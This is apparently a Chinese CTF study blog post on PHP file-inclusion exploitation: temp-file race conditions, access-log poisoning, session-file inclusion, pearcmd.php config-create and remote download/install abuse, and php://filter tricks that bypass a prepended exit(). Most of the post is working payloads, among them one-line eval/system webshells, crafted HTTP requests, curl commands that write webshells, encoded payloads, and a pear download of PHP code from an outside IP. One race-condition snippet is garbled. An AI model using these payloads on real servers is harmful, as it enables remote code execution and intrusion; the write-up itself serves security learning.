文件包含

本文主要涉及临时文件包含,session文件包含,日志文件包含等特殊的文件包含技巧,除此之外相关伪协议见本博客SSRF各种协议

临时文件包含

当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,拿到临时文件变量名之后,就可以进行包含执行我们传入的恶意代码。

关于临时文件

我们需要伪造一个POST提交文件的请求包,上传的文件信息会保存在$_FILES里面,$_FILES超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。我们也可以通过使用var_dump查看$_FILES的内容

1
2
3
4
5
6
$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

我们的1.php代码如下:

1
2
3
4
5
6
<?php
var_dump($_FILES);
if(isset($_GET['file'])){
include($_GET['file']);
}
?>

当我们发送一个POST包:

1
2
3
4
5
6
7
8
9
10
11
POST /flag/1.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHack123
Content-Length: 191

------WebKitFormBoundaryHack123
Content-Disposition: form-data; name="file"; filename="ZLARYY.txt"
Content-Type: text/plain

<?php eval($_POST['cmd']); ?>
------WebKitFormBoundaryHack123--

会看到响应界面:

其中的tmp_name就告诉了我们临时文件名称以及路径

这里由于是windows系统我自定义了upload_tmp_dir为WWW,一般windows默认路径为C:/Windows或C:/Windows/Temp/,Linux默认路径为/tmp/

文件命名

Linux下存储的临时文件格式通常为php+6个随机字符

Windows通常和上图响应一样为php+4个随机字符.tmp

条件竞争

到这里我们就有必要了解一下条件竞争了,由于临时文件在请求之后就会结束,所以我们不得不想一个办法在临时文件还没有被删除的时候利用文件包含执行恶意代码将一句话木马写入到另一个文件中。而利用 文件还没被删除就被包含这个时间间隙的操作就叫做条件竞争

核心利用代码:

1
<?php                                                               ?>'); ?>
1
2
3
4
5
简单解释一下这串内容:
fopen('2L47yY.php','w')
fopen是php打开或创建文件的函数,其中2L47yY.php是我们创建文件的文件名,w表示write(写入模式)
fputs(文件指针, 写入内容)
这个函数用于将后面的内容写入到刚才创建的shell.php中

进行伪造POST请求时我们就可以将这串内容写入到我们伪造的ZLARYY.txt中,至于这串代码为什么会被执行,这就是include函数的事了,include在包含一个文件时会不考虑其后缀,逐行扫描文件内容,一旦发现<?php?>就会立刻把其中内容当作php代码执行

AI帮我写了一篇windows下的条件竞争脚本,不过耗费时间是真的四位随机字母爆破到3开头就花了半个小时……

巧的是今晚遇上开会,lulu学长介绍了一篇文章关于在条件竞争时更快速度找到临时文件的方法:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

这篇文章后面提到了用通配符代替文件名:

1
2
*代替0个及以上的任意字符
?代表1个任意字符

那比如/tmp/phpabcdef就可以写作/***/php??????,这给了我们在条件竞争时候的一种思路,我们可以利用正则匹配最后一位字符,由于Linux中的临时文件名后面6位由随机的大小写字母组成,并且大写字符的ASCII码位于@和[符号之间,那么[@-[]就可以用来表示大写字母,在条件竞争中的文件包含线程中,我们就可以利用/tmp/php?????[@-[]来代替生成的临时文件,多尝试几次,总有一次生成的临时文件名最后一位是大写字符

日志文件包含

在学习日志文件包含的时候我一直尝试用kali打开和CTF题目环境一样的http服务,终于是让我搞出来了:

1
2
3
4
5
6
7
8
sudo echo '<?php highlight_file(__FILE__);system($_GET["cmd"]); ?>' > /var/www/html/index.php
//创造一个index.php文件存在于/var/www/html/下
sudo systemctl start apache2
//开启apache2服务

sudo nano /var/www/html/index.php
//用nano编辑器可以美观的写index.php
//Ctrl+O是保存,然后Enter确认文件名,最后Ctrl+x退出

这样我们可以通过ifconfig在查看到kali的IP之后在windows上访问

1
http://[IP]

就能完美模拟CTF题目场景了,不过在复现日志文件包含的时候还需要给日志及路径加上权限:

1
2
sudo chmod 644 /var/log/apache2/access.log
sudo chmod 755 /var/log/apache2

好了,现在让我们尝试复现日志文件包含漏洞:

通常情况下我们拿到一个文件包含漏洞的题目需要先分析使用的是哪种服务器:apache还是nginx

像这里我采用的是apache2的服务器,那么日志存在路径就是/var/log/apache2/access.log,除此之外我们还可能见到:

1
2
3
4
5
6
7
/var/log/apache/access.log //apache服务器
/var/log/nginx/access.log //nginx服务器
/var/log/httpd/access_log //CentOS / RHEL / Fedora 系列
C:\xampp\apache\logs\access.log //XAMPP环境
C:\wamp\logs\access.log //WampServer环境

值得一提的是这些路径下不止存在access.log,还存在error.log

我们的题目是:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include($file);
?>

当我们尝试文件包含/var/log/apache2/access.log能看到如上内容,显然这是我们的UA内容,此时我们就可以尝试在UA里面注入一句话木马,最后文件包含它:

1
2
User-Agent:<?php @eval($_POST['cmd']);?>
POST提交:cmd=system("cat /flag");

成功拿到flag

session文件包含

有关session的机制在本博客php反序列化session反序列化一节已经讲的详细了,这里只做部分的提及

我们还是利用这一段php代码:

1
2
3
4
<?php
session_start();
$_SESSION['flag']=$_GET['flag'];
echo $_SESSION['flag'];

在session反序列化一节中我们用来检验处理器下session文件的存储形式,这里我们将存储内容改为php代码:

可以看到这串包含php代码的字符串已经存储在了session文件中,再根据前文所提到的include特性,当我们包含该文件时就能实现php代码的执行

一些常见的session文件存储路径:

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

可以注意到成功执行了phpinfo()

随后我尝试了重新传入

1
flag=<?php system('cat /flag');?>

也是成功拿到flag了,至于sess文件中的一长串字符串可以在Cookie中看到,类似:

1
Cookie: PHPSEESID=9b8428d87bf74abf0fefa76e5bdc7be3

由于php的文件包含类函数不能解析shell通配符,所以我们不能使用sess_*来代替,不过我们可以主动修改我们的PHPSESSID,在没有返回这个内容的情况下我们可以主动添加上这个Cookie:

1
2
Cookie: PHPSESSID=ZLARYY
//在传/?flag=<?php system('cat /flag');?>时加上

我们尝试在include.php里面包含试试:

1
/?file=/var/lib/php/sessions/sess_ZLARYY

pearcmd

pecl是php中用于管理扩展的命令行工具,pear是pecl依赖的类库,在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装

在kali中我用了如下命令安装pear扩展:

1
2
3
4
sudo apt update
sudo apt install php-pear

pear version//检验是否成功安装

除此之外在复现pearcmd文件包含还需要开启register_argc_argv选项,这样$_SERVER[‘argv’]才会生效

在kali里面修改php.ini操作如下:

1
2
3
4
5
6
ls /etc/php //先查看版本,我这里是8.4
sudo nano /etc/php/8.4/apache2/php.ini //apache2服务
//sudo nano /etc/php/8.4/fpm/php.ini Nginx(php-fpm)服务
然后找到并修改register_argc_argv = On
sudo systemctl restart apache2 //重启web服务(apache)
//sudo systemctl restart php8.4-fpm (Nginx)

这样操作之后我们的pearcmd.php文件会储存在/usr/share/php/pearcmd.php里面,不过一般来说也可能储存在/usr/local/lib/php/pearcmd.php这个路径下

接下来需要跟着p神的文章(https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html)了解一下pearcmd.php的原理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static zend_bool php_auto_globals_create_server(zend_string *name)
{
if (PG(variables_order) && (strchr(PG(variables_order),'S') || strchr(PG(variables_order),'s'))) {
php_register_server_variables();

if (PG(register_argc_argv)) {
if (SG(request_info).argc) {
zval *argc, *argv;

if ((argc = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), 1)) != NULL &&
(argv = zend_hash_find_ex_ind(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), 1)) != NULL) {
Z_ADDREF_P(argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGV), argv);
zend_hash_update(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), ZSTR_KNOWN(ZEND_STR_ARGC), argc);
}
} else {
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);
}
}

} else {
zval_ptr_dtor_nogc(&PG(http_globals)[TRACK_VARS_SERVER]);
array_init(&PG(http_globals)[TRACK_VARS_SERVER]);
}
...

第一个if语句判断variables_order中是否有S,即$_SERVER变量;第二个if语句判断是否开启register_argc_argv,第三个if语句判断是否有request_info.argc存在,如果不存在,其执行的是这条语句:

1
php_build_argv(SG(request_info).query_string, &PG(http_globals)[TRACK_VARS_SERVER]);

根据P神的试验结果,SG(request_info).query_string会将http数据包中的query_string作为argv的值:

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
$file=$_GET['file'];
include($file);
var_dump($_SERVER['argv']);
?>

如果我们直接在URL传参/?file=1 2 3那么就会出现这种结果,不过如果用+代替空格会产生另一种结果:

可以看到这个数组从一个键值对变成了三个键值对,他们通过加号隔断

不过用POST传参就不能储存在$_SERVER['argv']中了

实验到这里就有一种有关本漏洞的技巧了:

为了方便展示文件成功被包含,所以直接包含了/flag作为文件

这就很有意思了,&符号连接使/flag成功作为file的值

接下来我们看到:

1
2
RFC3875中规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。
PHP现在仍然没有严格按照RFC来处理,即使我们传入的query-string包含等号,也仍会被赋值给$_SERVER['argv']
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

这是pear中获取命令行argv的函数:先尝试$argv,如果不存在再尝试$_SERVER['argv'],后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数

接下来我们深入pear命令的参数:

config-create

1
config-create: must have 2 parameters, root path and filename to save as

意思是config-create后面必须跟上两个参数,第一个参数是pearcmd.php文件的绝对路径,第二个参数是写入配置文件的路径,这样pear就可以将产生的配置数据写进第二个参数的路径下产生的文件中,比如:

1
pear config-create /usr/local/lib/php/pearcmd.php /var/www/html/evil.php

这样就会将配置文件信息写入到/var/www/html/evil.php中,通过cat命令查看还有一个特别有意思的东西:这些配置信息数据传入到/var/www/html/evil.php中的内容是序列化数据

这个先放一放,先回到文件包含上,我们对于这个的利用点是:

1
2
第一个参数的绝对路径可以不存在,因为pear的源码逻辑是把第一个参数当成一个普通的文本字符串保存在内存里,根本就没有有调用is_dir()或者file_exists()去硬盘上验证这个目录到底存不存在
这样我们就可以把一句话木马拼接到第一个参数的路径中

还记得之前做$_SERVER['argv']的实验吗,/?1+&file=/flag既成功包含了/flag文件还储存在了全局变量中,那我们就可以构造如下payload:

1
/?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/var/www/html/evil.php

这里的pearcmd.php的路径当然不唯一,也可能是/usr/local/lib/php/pearcmd.php,最后写入evil.php也不一定非得在/var/www/html(可能没有权限),也可以使用/tmp/evil.php

这里不知道为什么在传payload的时候会把我的<>给编码了,可以使用curl:

1
curl "http://127.0.0.1/index.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=phpinfo()?>+/var/www/html/evil.php" 

最后再包含文件就行了

接下来是RCE部分:

1
2
3
curl "http://127.0.0.1/index.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=system('ls')?>+/var/www/html/evil.php" 

curl "http://127.0.0.1/index.php?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=system('cat</flag')?>+/var/www/html/evil.php"

注:我尝试了%20,%0a,%09代替cat /flag中间的空格都不行,小于符号就可以

!

在写这篇文章的时候我就想:既然可能存在<>被编码的情况,那么我能不能直接把所有的php代码都给编码为base64字符串,然后利用php://filter进行解码呢,这个问题我研究了很久,我首先是直接在原有基础上将php代码替换为base64编码后的字符串,不过有一个很严重的问题我没考虑到就是/&file=里的等于符号在base64中通常被认为是base64字符串的结尾,所以等号后面的字符串就不会被php://filter解码了,那么这种想法就是行不通的,接下来我们尝试其他方法:

1
/?file=/usr/share/php/pearcmd.php&+config-create+/PD9waHAgc3lzdGVtKCdscycpOyA/Plxu+/var/www/html/evil.php

我解释一下这串字符串为什么要这么写:

1
/?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=system('ls')?>+/var/www/html/evil.php

这是我们一开始的paylaod,在?后面紧跟上了一个+,那么在放进$_SERVER['argv']的时候就会导致第一个键对的值为空,但是pear命令在获取$_SERVER['argv']的时候会丢掉该数组的第一个键对值,那么自然紧跟上的就是config-create

1
/?file=/usr/share/php/pearcmd.php&+config-create+/PD9waHAgc3lzdGVtKCdscycpOyA/Plxu+/var/www/html/evil.php

但是如果我们先进行文件包含,那么第一个键对值就变成了这个file=******,再根据pear会省略的特性,我们就可以用&分离参数之后跟上config_create和其他两个参数
同时又由于我们的pearcmd.php文件已经被包含了,那么config-create后面跟上的第一个参数也就没必要是绝对路径了,直接加上base64编码的字符串,最后是储存路径

也能成功看到flag(我的base64编码后的字符串解码后为<?php system('cat /flag'); ?>\)这也是为了确保结尾没有出现加号或者等号

不过这也给了一种新思路:如果遇到没有<>编码的部分可以用这种payload:

1
/?file=/usr/share/php/pearcmd.php&+config-create+/<?=phpinfo()?>+/var/www/html/evil.php

那还解码啥了,直接包含得了

download

除了用config-create我们还可以使用download远程下载文件,测试环境为kali的Desktop下有一个phpinfo.php文件,内容为:

1
2
3
<?php
phpinfo();
?>

正常利用是

1
pear download [文件地址]

那么我们可以将恶意的php文件放在靶机可以访问的地方,那么这里我们可以这样利用:

1
?file=/usr/share/php/pearcmd.php&+download+http://192.168.152.128:8000/Desktop/phpinfo.php

可以看到成功下载到了/var/www/html路径下,不过也可能安装在/tmp/pear/download路径下

然后只需要再文件包含一次就可以了

更换了一下phpinfo.php的文件内容和名字:

1
2
3
<?php
system('cat /flag');
?>

install

这个和download没有什么差别,可能唯一的差别就是这个东西会把文件保存到/tmp/pear/download路径下吧:

1
?file=/usr/share/php/pearcmd.php&+install+http://192.168.152.128:8000/Desktop/cmd.php

exit死亡绕过

文章参考:https://xiaolong22333.top/archives/114/

在学习exit死亡绕过之前先了解一下一个相关函数:file_put_contents()

这个函数可以传入两个参数,第一个参数写文件名或路径,第二个参数写要写入的数据

如上图所示,执行exercise.php就可以在同级目录下生成shell.php文件,在exit死亡绕过中通常以以下三种形式出现:

1
2
3
file_put_contents($filename,"<?php exit();".$content);
file_put_contents($content,"<?php exit();".$content);
file_put_contents($filename,$content . "\nxxxxxx");

由于第二个参数前面的exit存在,导致我们写入的$content不会被执行php代码就结束了

file_put_contents($filename,”<?php exit();”.$content);

base64

复现这个漏洞用到的php代码为:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
$content=$_POST['content'];
$file=$_GET['file'];
file_put_contents($filename,"<?php exit();".$content);
include($file);
?>

由于生成文件在同级目录下的缘故,我们可以直接生成木马文件后蚁剑连接,为了方便演示这里采用文件包含

绕过exit的核心就是使用php://filter对后面的内容进行解码,举个例子:

1
2
3
<?php
file_put_contents('php://filter/write=convert.base64-decode/resource=shell.php',"PD9waHAgc3lzdGVtKCdzb3J0IC9mbGFnJyk7");
?>

利用这个姿势我们就可以绕过前面的<?php exit();了,不过还得注意一下偏移量(offset),由于base64是四个字节解码一个字符,所以解码到我们的恶意字符串时前面的字符个数必须是4的倍数,否则我们的base64编码字符串就不能正常被解码为php代码,同时,由于base64编码字符串中不存在<>?这些字符,所以在解码时会自动把他们删除,也就是说最后在解码时前面只剩下了phpexit总共七个字符,所以我们的恶意字符串前面还需要加上一个a参与前面七个字符的解码,给出最后的payload:

1
2
3
4
/?filename=php://filter/write=convert.base64-decode/resource=evil.php&file=/var/www/html/evil.php

content=aPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=
//这是<?php system('cat /flag');的base64编码字符串

rot13

除了base64编码之外我们还可以采用rot13编码,原理和base64一样:

1
2
3
4
/?filename=php://filter/write=string.rot13/resource=evil.php&file=/var/www/html/evil.php

content=<?cuc flfgrz('png /synt');
//这是<?php system('cat /flag');的rot13编码字符串

不过使用这个payload有局限性,如果开启了短标签的话前面的内容就会被解析导致代码错误,比如:

不过查看evil.php文件的确是正常的:

过滤器嵌套绕过

利用string.strip_tags可以过滤掉html标签和php标签里的内容,然后再进行base64解码,这样就不用考虑偏移量的问题了:

1
2
3
/?filename=php://filter/string.strip_tags|convert.base64-decode/resource=evil.php&file=/var/www/html/evil.php

content=?>PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs=

需要注意的是string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,php5则不受影响

file_put_contents($content,”<?php exit();”.$content);

这个利用的姿势是本博客SSRF一栏中的绕过手法最后一项,将木马内容塞到php://filter的过滤器中

可以用rot13,不过破绽还是之前提到的:

如果开启了短标签的话前面的内容就会被解析导致代码错误

1
content=php://filter/string.rot13|<?cuc flfgrz('png /synt');?>|/resource=shell.php

用base64编码就可以不用放在过滤器中了:

1
content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyAga.php

因为base64在遇到=后就结束了,因此可以先用string.strip_tags来去掉前面php标签里的内容,然后剩下的进行base64解码即可,由于我的环境php版本太高没有string.strip_tags这个过滤器,所以最后cat生成的文件发现没有删除<?php exit();windows下又不允许文件名带上?>,那这道就先放放吧,理论上只需要最后文件包含就可以了:

1
?file=/var/www/html/%3F%3EPD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOyAga.php

还有一种过滤器嵌套绕过:

1
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php

最后是convert.iconv.*

convert.iconv.*过滤器等同于用iconv()函数

通过usc-2的编码进行转换;对目标字符串进行2位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上)

1
content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php

我们可以用这段命令输出我们需要的字符串:

1
php -r 'echo iconv("UCS-2LE", "UCS-2BE", "<?php system(\"cat /flag\"); ?> ");'

最后结果为

1
?<hp pystsme"(ac tf/al"g;)?  >
1
content=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pystsme"(ac tf/al"g;)?  >/resource=shell.php

最后不用view-source看不到,因为<hp被识别为标签了

file_put_contents($filename,$content . “\nxxxxxx”);

这种没有什么说法:

1
2
3
?filename=shell.php&file=shell.php

content=<?php system('cat /flag');?>